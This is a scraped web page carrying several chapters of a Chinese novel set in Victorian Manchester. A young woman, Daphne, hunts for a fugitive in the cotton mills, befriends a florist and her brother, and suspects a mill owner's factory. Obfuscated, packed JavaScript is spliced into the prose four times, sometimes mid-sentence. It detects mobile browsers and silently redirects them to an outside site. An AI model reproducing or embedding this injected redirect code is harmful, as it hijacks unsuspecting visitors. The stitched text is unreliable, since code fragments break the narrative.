l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527947|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“爸爸,你也接触过工人和贫苦的人,你觉得他们很可怕吗?”黛芙妮反驳他。 “黛菲,你不会认为他们全是善良无害的吧?”狄默奇先生蹙眉。 “当然不,”黛芙妮说,“只是并没有那么危险,好像我去那儿站上一会儿走上一段路就一定会出问题。” “可你也不能保证自己一定不会出问题。”狄默奇先生说。 “我不会独自一个人去了。”黛芙妮反思后对他说。 “所以说说吧,你去那儿的目的?调查艾莫斯?” “是的。” “你有什么收获?” “我认为他很可能躲在大型棉纺工厂里。” “那里有几家工厂?” “很多。如果说可能在的大概是五六家。” “接下来你打算怎么做?”狄默奇先生双手抱胸靠在木桌边缘,“一家家查探?以什么名义?” “爸爸,你真的认为那些警官能将艾莫斯先生找出来吗?” “总比我们有用。至少遇到危险的时候他们可以拔枪,还有同伴帮助。” “那些警官根本不可能下搜捕令去工厂的,他们不敢得罪大工厂主们,除非有确切证据证明艾莫斯就在其中一家工厂。”黛芙妮说。 “明天我会请假去一趟棉纺基地。” “以什么名义?” “技术指导?” 第二天, 从一早黛芙妮就坐在一楼大会客室等待,手套做了又拆拆了又做直到晚上狄默奇先生姗姗来迟还没做好。 “爸爸,有什么发现?” “抱歉,黛菲。”狄默奇先生对她摇头。 他一早就出门,通过出版社的关系以技术顾问的名义前往棉纺工厂,为他们提供帮助。 可惜他几乎没有单独行动的时间,且大部分时间在解决很多关于机器的问题。 旁敲侧击地问那些接待的人员最近是否有异常,也没有任何发现。 “没关系,爸爸。”黛芙妮失落地说。 狄默奇先生拍拍她的脑袋:“你们不会被传唤的。” 这已经不知道是他说的第几遍了,黛芙妮对他露出一个笑来。 等一个人躺在床上时,便开始放任自己发散思维。 艾莫斯既然敢杀两个人就说明他很可能会对第三个人下手,是安娜让他来的,如果他杀的人越多安娜的罪名就会越严重。 爸爸洁身自好,十分注重修养和名声;妈妈维持了半辈子‘好太太’的称号,都要被毁掉了。 最可气的是,到现在为止安娜其实对自己做的事没有感到一点抱歉和后悔,她最懊恼的是艾莫斯为什么还没被人抓住。 甚至还会为对方口上的爱沾沾自喜,一点不肯用脑子仔细去想想。 也许,黛芙妮猜测,安娜不是没想到而是不在意,因为她总是忽略自己想要忽略的东西,注意那些自己想要注意的。 不论是对待情人的方式总是任性索取还是对待家人,特指黛芙妮,总是为所欲为。 从哪一点分析来看,她都是一个天生的没有同理心的人。 黛芙妮说不上来对这个结论伤心还是叹息,总之在二十年的岁月里姐妹之情早已消耗得差不多了,只剩下血缘之情还在苦苦支撑。 25. 花店 今日天气不好。 这座城市本就因为浓密的煤烟导致该有的阳光总是减少一部分,现在彻底没了只觉得阴沉沉的。 下午,黛芙妮系上帽子,拿上编织包袋打算离开郁闷冷清的一百零八号,去街上接受点烟火气的治愈。 “小姐,需要来一份报纸吗?”报童斜背着一个大袋子,里面裹着跃跃欲试想要跳出来的报纸们。 黛芙妮用一个便士换走了他手里的报纸。 她抖开报纸,大大的《曼彻斯特卫报》印在最上端。最角落写着:约克·霍克出版社;编辑:安德鲁·库克。 第一版头写着美国内战的近况以及对英国经济的冲击,主要围绕在美国南方联邦崩溃后棉花产业的重建上。 她大致看了几眼,翻到下一页。 “牙买加莫蓝特湾起义事件......” 这些国际新闻对她来说并没有什么吸引力,所以很快又被她翻过去了。 接下来是曼彻斯特及兰开夏郡的棉价波动、依赖于美国的原料进口和劳工状况。 自从来了曼彻斯特了解过这里最大人群的生活后,她开始下意识地关注这方面的信息。 因为原料大国的内战问题导致近来棉价大幅上涨,劳工受到的冲击最多。 “上帝!”黛芙妮停下脚步惊呼。 美国内战让严重依赖美国南方棉花的英国纺织业陷入瘫痪,不少地区的工厂倒闭,工人无路可去。 每三个人中就有一个失业,到如今有差不多二十万人加入失业浪潮。 下面还写了曼彻斯特失业人数逐步上升,薪资发不出来已经成了家常便饭。 而剩下还在坚持的工厂大多数实行短期工时制,薪资下降一半往上。 难怪那天在棉纺基地,她见到不少空着的工厂,原来是被迫关闭了。 “黛芙妮!” “贝拉?”黛芙妮收起报纸,见到好友心里高兴起来。 亨斯通家的双轮马车停在她身侧,贝拉探出头:“我刚刚去你家找你,卡丽说你出来散步了,我想我坐着马车一定能追上你。” “如果我没往这边走呢?”黛芙妮笑着问。 “噢!上帝希望我们遇见。”贝拉说,“快上来。” 黛芙妮提起裙摆上了马车。 “你在看什么呢?聚精会神的。”贝拉问。 “《曼彻斯特卫报》,你要看看吗?”黛芙妮说。 贝拉摆手,露出无趣的眼神:“说来说去就那些,不是失业的浪潮就是工厂倒闭,我想只有女王再婚才能将它们打压下去。” 黛芙妮被她逗笑,顺手将报纸折叠塞进编织袋里,问:“你是来邀请我约会的吗?” “是的,你同意吗?” “我现在还能说拒绝吗?” “不。”贝拉盯着她说,“说来,狄默奇太太和安娜还好吗?偷东西的人抓到没?” 黛芙妮勾起手指,也不抬头继续整理编制包,只是心里不太好受:“她们还没恢复健康。至于小偷,还没抓到。” 贝拉抓起她的手,尽可能地让自己变得柔软再柔软一点:“有什么我可以帮忙的吗?” “你已经帮了我很大忙了,至少让我不死于忧郁。”黛芙妮一直保持低头的姿势,这会儿瞧着贝拉的蕾丝手套又露出一点笑来。 “黛芙妮,你还没适应曼彻斯特。”贝拉说。 “为什么这么说?”转了话题,黛芙妮又有勇气与她对视了。 “在这里,太阳更多的是从你心里升起。”贝拉说。 黛芙妮愣了一下,两人相视一笑。 “不如我们去河边市集逛逛,我最喜欢梅小姐的花店,最近应该有百合,我打算给家里增添点香气。”贝拉说。 她敲击车壁,让车夫前往市集。 和贝拉在一起,黛芙妮短暂地遗忘了一百零八号,积极的情绪被带动回来,等下车的时候心情好了很多。 此时虽还是早晨,可对于集市来说已经热闹了有一阵了。 她们从马车下来还差点与路过的人撞上,双方只来得及惊呼一声又匆匆分离。 这片市集位于河边,在书店那条街的后面,远远不及牛津路左边尽头的规模大但品类不算少。 这是黛芙妮第一次来,之前说好和妈妈来的可惜搁置了。 她被贝拉拉着往花店去,眼睛却还在四处溜达。 花店门口挂了一串风铃,声音很清脆,她多看了两眼。 梅小姐的花店,各色鲜花挤得郁郁葱葱、色彩缤纷、香气怡人,贝拉松开她的手朝一大捧百合走去。 黛芙妮被一株晚樱吸引,不由自主地站在它面前。 “这是最后一批了。”一道年轻的声音在她耳边响起。 看过去是一个黑皮肤的女人,圆盘脸很温和,穿着黄色格纹的裙子,没有戴手套。 贝拉选好了花,注意到这边的动静走来,她向黛芙妮介绍了那个女人:“梅小姐。” “原来你是这家店的老板。”黛芙妮恍然大悟,伸手和梅小姐相握。 梅小姐微笑点头。 “可惜它的花期太短了,通常只有小半个月。”贝拉摸摸花瓣说。 听闻黛芙妮也为它短暂的花期感到遗憾。 “晚樱凋谢后会进入新的生长阶段,象征着在逆境中自我调整、对未来充满希望。”梅小姐说,“我很喜欢它,每当它盛开的时候我都告诉自己珍惜当下。” 这会儿听她介绍黛芙妮又不为晚樱短暂的花期感到可惜,细细品味后觉得正是这样它才会盛放得如此夺目。 贝拉和梅小姐很熟悉,她又和她交谈起来。 “好在今天人不多。”贝拉转了一圈突然说。 “是了,我一个人也可以。”梅小姐的笑容变得奇怪。 黛芙妮不作声,只睁着一双明亮的眼睛站在边上。 贝拉笑了一下,有些难为情:“我想买些百合、雏菊装饰会客室和卧室。” “百合十支、雏菊两束就够了。”梅小姐去花桶里拿花,接着又拿起剪刀利落地剪掉过长的花梗。 黛芙妮挑了六支郁金香和十支百合,接着便在不大的花店里四处挪动等待梅小姐包装。 花店还有一道敞开的门,通往后院。 地上堆了很多花梗、散落了许多花瓣,黛芙妮想这大概是梅小姐处理大批鲜花的地方。 她正想的认真一道人影差点撞上她。 黛芙妮短促地叫了一声,捂着胸口往后退。 “抱歉,小姐,你没事吧?”是个黑皮肤的年轻男人,穿了一身粗布衣服,这会儿也吓得不轻。 “吉姆?”梅小姐探头看清后立马走过来,问黛芙妮,“你还好吗?” 黛芙妮摇头。 看起来他们是一家,被吓到也是意外,她笑起来表示自己没事。 “这是我弟弟,吉姆。”梅小姐说,“这是贝拉的朋友。” “黛芙妮。”黛芙妮介绍自己。 她和吉姆拘谨对视一笑。 花店不大,这点动静居然都没吸引贝拉过来。 梅小姐又回去处理鲜花,留下吉姆和黛芙妮站在原地。 不过他看起来心不在焉的,直到他瞧见了一个身影:“贝拉!” 黛芙妮在贝拉的脸上看到一些羞涩,她好像知道了。 “吉姆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543062|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 贝拉和他两两相对,各自笑得甜蜜。 黛芙妮受不了这种氛围,悄悄挪动脚步假装被梅小姐处理鲜花的手法吸引住,离开了那里。 梅小姐看她走来,说:“我第一次见贝拉带朋友来。” “我从利物浦来,一个多月前。”黛芙妮说,她转头去看那个角落,吉姆的脸正对她,虽然是黑皮肤但他的肢体语言比肤色更能表达内心的情绪。 “我和吉姆是美国来的,大概五六年前。”梅小姐认真将花枝绑在一起,“比你早些。” 黛芙妮很感兴趣地问:“你觉得这儿怎么样?” 不等她回答花店进来一对母女,在瞧见梅小姐的时候又立马离开了。 梅小姐笑了一下:“还不错。” 黛芙妮却有些尴尬,她刚刚经历了一场明晃晃的歧视。 “这没什么,”反倒是梅小姐安慰她,“她们安静地离开就已经很好了。” “是吗?”黛芙妮说。 “你一定不会想知道我在美国的生活,虽然这里依旧有歧视但至少很少有人会称呼我为‘黑鬼’或是让我去种棉花。”梅小姐很平静,甚至她还能勾起嘴角,“我挺喜欢曼彻斯特的,你呢?” “如果我说不呢。”一说到她的感受,黛芙妮总会难受地捂住自己的肚子,“我不喜欢这里。” 梅小姐抬头和她对视:“我能理解,就像我不喜欢美国南方一样。” 贝拉和吉姆一前一后走来,梅小姐也将花束包好了,吉姆接过帮她们拿去马车上。 “黛芙妮小姐!”梅小姐拿出一枝晚樱递给她,“送给你,乔迁的礼物。” 黛芙妮很吃惊,十分感谢她的好心。 直到出门她都还在抚摸晚樱缱绻的花瓣,突然就明白梅小姐喜欢它的原因。 吉姆将花束放在马车后面,目送贝拉和黛芙妮坐上马车,直到驶出一段距离还能看到他站在那儿。 黛芙妮的目光从花瓣上挪开,转而看向贝拉。 “我喜欢他。”贝拉背挺得很直,一双眼睛牢牢盯着黛芙妮,不肯错过她面部的一丝变化。 不说黛芙妮已经惊讶过了,加上近来家里发生的事,她的那颗心早已被锻炼得坚强许多。 所以她很冷静地问贝拉:“亨斯通太太知道吗?” 贝拉摇头,她看黛芙妮的眼神是欣喜、欣慰、诧异、感动的。 “贝拉,我们是朋友。”黛芙妮明白她的心情,主动握住她的手。 贝拉僵直的肩颈一瞬间松懈,她抱住黛芙妮什么也没说。 她为黛芙妮的理解感到高兴和感激,但黛芙妮的内心却正好相反。 贝拉连这样的事都愿意告诉她,可她却无法开口说出妈妈和安娜生病的真实事实,实在是令她愧疚。 “我和吉姆第一次见就在花店,他为我介绍花的种类和生长的环境,他是个花匠和梅小姐一样。”贝拉松开黛芙妮和她分享自己的秘密,“我第一次在一个人的脸上看到纯净的喜爱,即使对象只是一片叶子。” “我知道他喜欢我,我想他也知道我的。”贝拉情绪回落,“不过我们谁也没有挑明,也许这辈子都不会......” “那是一种什么样的感觉?”黛芙妮更好奇这个问题。为什么安娜和贝拉的爱差这么多,表现也天差地别。 “时而像风一样轻飘飘;时而像石头一样沉甸甸。也许你上一秒头脑还很清晰可下一秒五感开始混乱,你会觉得苦是甜的、酸是甜的、甜却是又酸又苦的。” “我不明白,也许哪句名言可以概括?”黛芙妮苦恼。 “我不知道,得等你自己去寻找。”贝拉笑了起来。 26. 发现 正当黛芙妮低头思考的时候,马车突然哐当一下猛地停止了。 贝拉拉开窗户:“发生什么了?” “小姐,似乎是车轮出了问题。”车夫说着跳下马车去检查。 过了一会儿他敲响车壁,苦着一张脸:“小姐,车轮裂了,必须得重新换。” 贝拉不可置信地看他:“裂了?” 车夫摸着脑袋:“碾到了几块尖锐的石子上。” 贝拉生起气来,瞪了他一眼。 “这附近有车行吗?总不能让马车就这样停在这里。”黛芙妮左右摇头,试图通过两扇窄窄小小的窗户找到解决的办法。 “这附近有一家,不过得麻烦两位小姐下来走一段路。”车夫说。 贝拉没好气地哼了一声,推开车门下去。 虽然这里刚出市集不偏僻但最近的一家车行走过去也要十几分钟,可若是黛芙妮和贝拉选择徒步回到牛津街那明天保管起不来。 没办法,两人只能等马车修好。 少了三人坐在马车上,即使车轮已经开裂也能勉强支撑一会儿,在黛芙妮忧心的祈祷下磕磕绊绊地到达车行。 “等个二三十分钟就行,不难。”车行老板说。 他立马喊来一个修车匠。 车夫找来两条凳子,擦干净放在墙边让黛芙妮和贝拉坐下等待。 这条街黛芙妮没来过,她好奇打量发现开店的和来往的大部分是普通家庭,等白絮悠悠扬扬地飘来,她问贝拉:“这里是不是离棉纺基地不远?” 贝拉听了以后也开始张望:“似乎是的,你看那座石桥!” 两人不再说话,只听到修车匠拿锤子叮叮当当的声音。 慢慢的单坐着又觉得时间过得缓慢。 “贝拉,你来过这吗?”黛芙妮再次开口。 她们好像引起了小范围的关注,大概是两人并排坐在墙边的行为有些显眼。 “好像来过。”贝拉不确定。 车夫站在修车匠边上盯着他做工,听到贝拉和黛芙妮的话有意表现一下希望能让贝拉不要那么生气:“小姐,这里新通了没两年,往常我们都从那条路过石桥去火车站。” 贝拉点头。 黛芙妮看完了两侧的店铺将目光放在修车匠上,一错不错地盯着他。 “放心,只要从我这里出去的保管你满意。”修车匠说,以为黛芙妮是不放心他的技术。 几句话的工夫又来了一辆坏了的马车,陆陆续续地也有不少生意。 “你一天得修几辆马车?”车夫问。 “修马车的并不多,不过近来倒是多了几单工厂修理设备的活计。”修车匠说。 车夫可能觉得他有吹牛的嫌疑,笑笑:“我以为机器坏了得找那些读过书的人,起码也得认字。” 修车匠抬头看了他一眼又继续忙活:“我做这手艺的时候好些大学都没创立呢。” 黛芙妮觉得有趣问他:“先生,一般修理哪些设备?” “珍妮纺纱机、骡机或是风扇。”修车匠说起来有些自得,只不过并不表现得很明显,“昨天‘大西洋’的风扇坏了,专门来找我。” ‘大西洋’这个名字窜进了黛芙妮的脑袋,她问:“听说那儿是唯一按了风扇的棉纺工厂,是真的吗?” 修车匠点头:“是的。” “听说在里面工作就像在雪地里一样,可偏偏温度奇高。”贝拉说。 “我有些想象不出来,也许得亲眼看过感受过。”黛芙妮说。 修车匠将破轮胎卸下来,他直起身将黑漆漆的手往裤子上一擦,听到黛芙妮的话露出第一个笑来:“如果你真的去了,运气不好等你出来就会发现钱包也像雪一样白。” 车夫不服气:“大工厂一发现偷盗事件可是有很严重的处罚的。” “前提是被抓到。”修车匠意味深长。 “你什么意思?”车夫拔高音量。 “我昨天去‘大西洋’的时候,工人们和我说他们那儿最近出现了一个小罗尼·比格斯,虽然偷不到2600万英镑但加起来也有26英镑价值的东西了。”修车匠说,他一屁股坐在地上将新车轮支起来与旧车轮比对。 贝拉笑出了声,她捂嘴小声和黛芙妮说:“牛津路也有一个小罗尼·比格斯。” 黛芙妮不自然地勾起嘴角。 “不可思议,我听说路威尔顿先生是个极其严苛的人,他怎么会允许自己的工厂出这样的乱子。”车夫说。 “‘大西洋’是路威尔顿先生的产业?”黛芙妮问贝拉。 “是的。” “他当然不会,本来他是想要警官去抓人的可大部分工人不同意。”修车匠说。 “这是为什么?”黛芙妮问。 “因为一旦这么做就势必要停工一段时间,这对工人来说是不能接受的,他们还指望一天的劳作能给自己家人买口饭吃。”修车工说,“本来就因为短期工时制导致收入剧减,这下更不肯离开机器了。” “所以路威尔顿先生放弃了?”黛芙妮皱眉。不抓住小偷怎么行,这是非常重大的隐患。 “他当然不,他只听自己的。”修车匠说,“不过警官去过一次什么也没发现,第二次发生小范围失窃后那些工人就不肯说了,都瞒着上面呢。但是自家后花园出了问题任谁都不会那么容易被骗过去的,更何况是路威尔顿。” “所以不管工人怎么闹,路威尔顿先生都不会听他们的吧?”贝拉说。 “如果他下定决心当然不会。可现在丢东西的是那些工人而不是他,主人尚不在意我想他也乐得做个冷眼旁观的人,等着工人自讨苦吃。”车夫分析。 “难道损失的不是工人自己吗?”黛芙妮说,“怎么还不同意?要是不抓到盗贼会损失更多。” “牺牲几人的利益保全上百人的,你说他们怎么选。不过真正损失了东西的人当然是恼火的。”修车匠将车轮装在马车上使劲拍了拍,“好了。” 黛芙妮有了一个不成熟但很大胆的想法,这种刺激让她心跳得很快:“我很想知道,这是什么时候发生的?” “大概两周前。” “谢谢。” 车夫试驾没问题后,便问贝拉和黛芙妮接下来要去哪里。 “贝拉,我想回家了。”黛芙妮上马车后说,“我想将这些漂亮的花带回去,好让妈妈和安娜快点摆脱生病的阴影。” 贝拉让车夫载着她们返回牛津路。 一百零八号门口,车夫抱着黛芙妮的花先一步去敲门,将花交给来开门的惠特妮。 和贝拉告别后,黛芙妮快步回到房子里,她心事重重地脱下手套和披肩在沙发上坐下。 惠特妮放下红茶又去擦拭橱柜、桌椅。 黛芙妮怎么想都觉得‘大西洋’很可疑,可又怕自己想错了,不仅没抓到艾莫斯还连累了工人和路威尔顿先生。 她既希望艾莫斯被抓到又期望他不会将安娜说出来,如果不幸被传唤她也并没有很害怕,只是担心爸爸妈妈不能接受。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552833|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >坐了好一会儿也没理出一个清晰的脉络,倒是等到了狄默奇先生下班的时间。 也不知道是不是上帝不忍心自己的教徒处处受困,居然请来了路威尔顿先生。 黛芙妮从未有现在这样那么欢迎过对方。 她惊喜的表情不仅让狄默奇先生诧异,就是康斯坦丁他自己都有些受宠若惊。 “黛芙妮小姐。”他那一双黑眼睛难得表露出几丝愉悦。 “路威尔顿先生。”黛芙妮说。 想要和他聊聊,不过狄默奇先生将他喊去了书房,原来他今天又是来还书的。 她在书房门口来回踱步,思考自己要不要直接进去问他,不过这样就很明显了,爸爸和她一直想要隐瞒的事情会被立马发现。 惠特妮端着托盘走来,黛芙妮接过让她去忙活别的事。 刚结果转了身,书房门就打开了。 狄默奇先生被她吓了一跳:“黛菲?” “我来送茶点。”黛芙妮举了一下手里的托盘,想和他说点什么又怕被路威尔顿先生听见。 狄默奇先生拍拍她的肩膀,绕过去:“我去卧室拿本书,你先招待一下康斯坦丁。” 黛芙妮目送他匆匆上了楼,转过身就与站在书架边的路威尔顿先生四目相对。 她将托盘放在小圆桌上,倒了两杯红茶。 “谢谢。”路威尔顿先生走过来。 黛芙妮顺着他过于苍白的手指一路向上,来到他的脸庞。 他在看着她,这个认知让她的一颗心七上八下的,最主要的还是怕露出马脚。 “路威尔顿先生这次借了哪本书?”她问。 “一本科幻小说《弗兰肯斯坦》。”他说,一双眼睛时不时落在黛芙妮身上。几天不见平静的情绪开始暗涌,浪潮越翻越高啪啪的打在他的胸腔上。 “您也会对这样的小说感兴趣?”黛芙妮真有点吃惊。 “你看过?” “一点点,有点不适应。”黛芙妮说,接着她似是不经意般地说,“我今天和贝拉一起去了河边市集。” 路威尔顿先生停下了想要喝茶的动作,但没把瓷杯放在桌上而是继续保持托举的动作。 他垂眼盯着焦糖色的茶水:“是吗?” 黛芙妮看了他两眼也没等到其他的声音,居然有些习惯了,她又说:“不幸的是半路马车坏了,我和贝拉还走了好些时间去修车。” 他又应了一声,然后很生硬地开口:“车夫太粗心了。” 她是什么意思?愿意让他的身影映在她眼里就已经大大出乎他的意料了,后背的肌理紧绷,看似放松的姿态不过是为了不惊扰她。 黛芙妮笑了一下,没跟着继续说。 她看他手里一直拿着空杯子就问要不要放下。 “不用。” “先生今天是去沙漠了吗?”黛芙妮拿起茶壶想给他加点。 又喝了两杯,狄默奇先生还没来。 黛芙妮这么走又不甘心,于是她再次引出话题:“那个修车匠倒是技术不错,我听他说他还给‘大西洋’工厂修理设备。噢!我还听说那是您的工厂。” 这回她不打算等对方给个回应了,反正给了也是白给还会打乱她的节奏。 “说来奇怪,我以为到哪里都是十分厌恶偷盗的。路威尔顿先生您怎么没阻止?而且真的是工人做的吗?” 他喝了第四杯红茶,他往后撑了撑让腹部展开一点,用拳头抵在嘴唇上轻咳两声:“不确定,但很有可能。” 27. 转机 “少的都是些什么?”黛芙妮问。 “一些工人的财产。”他说,双手摩挲瓷杯,目光沉沉的打量她。 “也不知道盗贼有没有跑到其他工厂去,工人过得够苦了。”黛芙妮说。 这些东西正是艾莫斯需要的,他也许就在路威尔顿先生的工厂里! “倒是没听说。”他说。 那不几乎能确定就在‘大西洋’了!黛芙妮兴奋起来,脸上露出由衷的高兴,瞧见路威尔顿先生还举着空茶杯,虽然怀疑他是不是一天没喝水了但还是再次给他倒了满满一杯。 路威尔顿先生露出一个隐忍的表情,一口气将茶水喝光。 黛芙妮根本没注意,只沉浸在自己的重大发现中。 狄默奇先生拿着几本书进来。 黛芙妮不再打扰他们,不过出去前邀请了路威尔顿先生留下用过晚餐再走。 对方同意后,她将书房门带上离开。 喊来在擦拭栏杆的惠特妮让她去和卡丽说一声,今晚有客人然后又亲自去和妈妈说一声。 今日狄默奇太太倒是想要下床露个面。 “我今天好多了,床上也趟得够久了。”她说。 这回谁也没提起安娜,隔了几日一百零八号的餐桌上又出现了四个人。 卡丽和惠特妮将鱼类冷盘和蔬菜沙拉放在桌上,狄默奇先生开了一瓶金酒,狄默奇太太身体不适并未要酒,黛芙妮惯例倒了一杯葡萄酒。 狄默奇先生眉眼带有一丝疲惫和愁绪,但他不得不打起精神来对付路威尔顿先生,并且还不能过于敷衍因为对方十分敏锐。 不过—— 康斯坦丁一早就发现坐在他面前的一家人个个心事重重,就比如说最好分别的狄默奇太太:苍白的脸、耷拉的眼角、笑得愁容满面。 再是狄默奇先生:虽然对话一直顺利进行,可他不甚灵动的眼珠子和那些浅显的话题都在告诉康斯坦丁,他有心事。 最后是黛芙妮小姐,和她的父母不一样,她有些激动?亢奋?从刚坐下时的两句话之后再没听过她的声音。 “自从废除《糖案法》后,巴西糖倒是越来越受欢迎。”狄默奇先生说,“不少在牙买加、西印度群岛的人都回来了。” “那些种植园荒置后又有不少人失业。”他叹口气,“如今失业的人越来越多,我想迟早会引起麻烦。” “降价也有好处,至少工人的生活成本降低了。”路威尔顿先生说。 “如果你没有在牙买加买种植园对你倒是没有影响。”狄默奇先生点头。 “去年就卖给了其他商人。” 狄默奇先生夸他脑袋机敏又说他足够狡猾。 “就算现在转而去种棉花和咖啡也没有用了。土地退化且没有足够的资本迟早玩完。”狄默奇先生评价道,他好不容易才注意到其他的事多问了一句,“是今天的酒不对吗?” 路威尔顿先生面前的高脚杯一共才被他拿起过一回,他抿嘴:“不。” 他端起来敬了狄默奇先生,不过只打算做做样子嘴唇轻触杯壁。 黛芙妮小姐今天心情不错,居然也向他敬了酒。 他眉头一皱,最后喝了一大口。 卡丽和惠特妮适时端来主菜:烤苏格兰牛肉配丁香酱和蔬菜。 放下酒杯后黛芙妮问:“那些失业的人会去哪儿?” 路威尔顿先生回她:“近来港湾有不少船要前往澳大利亚和加拿大,失业的平民有一部分会选择去那儿,参加当地资源开发工作。” “要是不愿意去呢?”黛芙妮问。 “不愿去的人里大部分又转向采矿业和冶金业,这些行业因机器制造业的扩张对原材料的需求激增。”路威尔顿先生说。 “如今就是求职的信息报刊都登不过来,特别是女佣、车夫一职。”狄默奇先生说。 黛芙妮咀嚼牛肉,没再说话。 “美国南方棉花产业崩溃后倒是极大地影响了英国,牛津路附近出现的流浪汉见多,治安受到不小威胁。”狄默奇先生说。 “如果有什么需要尽管开口。”路威尔顿先生看了一圈面前的三位狄默奇说。 惠特妮将饭后甜点:司康饼配凝脂奶油和果酱以及一壶红茶,端上来。 有心再探路威尔顿先生口风的黛芙妮,默默等待机会,打算在两位先生又一个话题结束的空档开口。 不过狄默奇太太坐不住了,狄默奇先生就提议大家转去会客室。 “狄默奇先生。”卡丽带着一个陌生男人进来。 路威尔顿先生明显认识他:“你进来做什么?” “有些事需要您处理。”陌生男人小心地抬眼,模糊地说。 闻言,路威尔顿先生站起来,表示遗憾自己恐怕得提早离开。 黛芙妮有些焦急可也没有理由让他留下,只能眼睁睁看着他利落地坐上马车消失在街道上。 狄默奇太太精神不济地回到二楼,只留下黛芙妮和狄默奇先生两人。 “小姐,这大概是刚刚路威尔顿先生留下的。”惠特妮跑来说,她摊开手露出一只镶嵌宝石的袖扣。 “我明天带去办公室给他。”狄默奇先生说。 “他在那儿也有具体工作?”黛芙妮问。 “他有不少股份不过并不需要他来管理。只是现在经常向我请教,会在下午来坐一段时间。”狄默奇先生说。 黛芙妮点头说起重要事来:“爸爸,我觉得艾莫斯在路威尔顿先生的工厂里。” 狄默奇先生愣了一下,疑惑转头:“你的依据是?” 黛芙妮将今天白天得到的消息和晚餐前与路威尔顿先生的对话说给他听。 “您不觉得这很凑巧吗?” 狄默奇先生沉思:“首先警官不一定不知道,他们能查到艾莫斯在棉纺基地就很有可能知道他在几家大型工厂里躲着。最关键的还是工厂主的意思,就算康斯坦丁愿意,不见得那些工人不会拖后腿。” 黛芙妮若有所思地望向窗外:“也许,晚上呢?再晚一点,工人下工后,反正艾莫斯又不会在夜晚离开暖和的棉花窝。” 在他们还在猜测、打算的时候,惠特妮紧缩肩膀小跑过来:“先生,小姐。外面有两个警官。” 黛芙妮和狄默奇先生吃惊。 “我去看看。”狄默奇先生说。 惠特妮犹豫片刻拿上自己的披肩,下班了。 “黛菲,我得出去一趟。”狄默奇先生回来说,“我会和他们说的,关于你的推测但是结果不能保证。” “我知道,爸爸。”黛芙妮说。 狄默奇先生和两位警官很快离开。 这一等时针停在‘八’上都未曾回来。 黛芙妮此刻就像只快要饿死的小鸟,使劲扑腾也毫无办法。 她泄气地坐在沙发上,支着脑袋。 一会儿想,如果等会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564289|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位警官再次上门要求将她和安娜带走,妈妈会不会吓得晕过去。 一会儿想,当这事真的彻底瞒不住了,他们会不会再次搬家。 她不喜欢曼彻斯特,曼彻斯特也不喜欢她,它就用这样那样的办法把她赶出去。 更可恨的是安娜。要是在警官面前她还将污名压在她身上又该怎么办?虽说两人是亲姐妹,可到了那时候恐怕早就没人在乎了。 也许黛芙妮还会因为爸妈以及自己对安娜余留的感情只为自己辩驳,却不见得安娜就会如此。 当然如果一切顺利,艾莫斯真的被抓住了,狄默奇一家也有很大的可能不能安全地退离这场荒诞的舞台。 因为但凡艾莫斯说:“是安娜让我来的,她知道我在利物浦犯了什么事!甚至狄默奇先生也知道,他亲口和我说不会举报我!” 那么狄默奇一家又要完蛋了,也许妈妈和她会逃脱从犯的罪名但又有什么用呢? 分针走了大半圈,黛芙妮怎么也坐不住了,她开始在屋子里制造沙尘暴,脚下木地板上的灰尘蹦蹦跳跳地活跃起来和她此刻的心情正好相反。 卡丽好几次过来问她是否要去楼上休息,都被她无意识地忽略。 黛芙妮走到门口又等了一会儿,接着打开大门站在台阶上望向远方。 “天呐!黛芙妮小姐,你在外面做什么?”卡丽在地下室转了一圈上来后瞧见大门开着着实吓了一跳。 她拿起一件披风裹住黛芙妮,让她进去。 “我想去街口。”黛芙妮一开口就差点把这个老妈妈吓得跳脚。 “晚上可不安全,尤其是像你这样的年轻女人。”卡丽拽着黛芙妮的手想把她往回拉。 黛芙妮一把抓住栏杆不肯动:“那我就在这儿,行吗?” 反正打定主意不进去。 卡丽实在劝不了她又想着大门口有她陪应该没事,勉强同意了。 四月底的曼彻斯特依旧不能摆脱冷风的喜爱,卡丽站不住再三犹豫又叮嘱黛芙妮不准离开台阶,然后以最快的速度去拿两件厚衣服来。 风刺的黛芙妮脸面生痛,她将披肩裹在头上,露出一双眼睛环抱着双臂一动不动地站着。 来往的每一辆马车她都满怀期待地注视,有一辆停下时更是三两步下了台阶。 “黛芙妮小姐?” 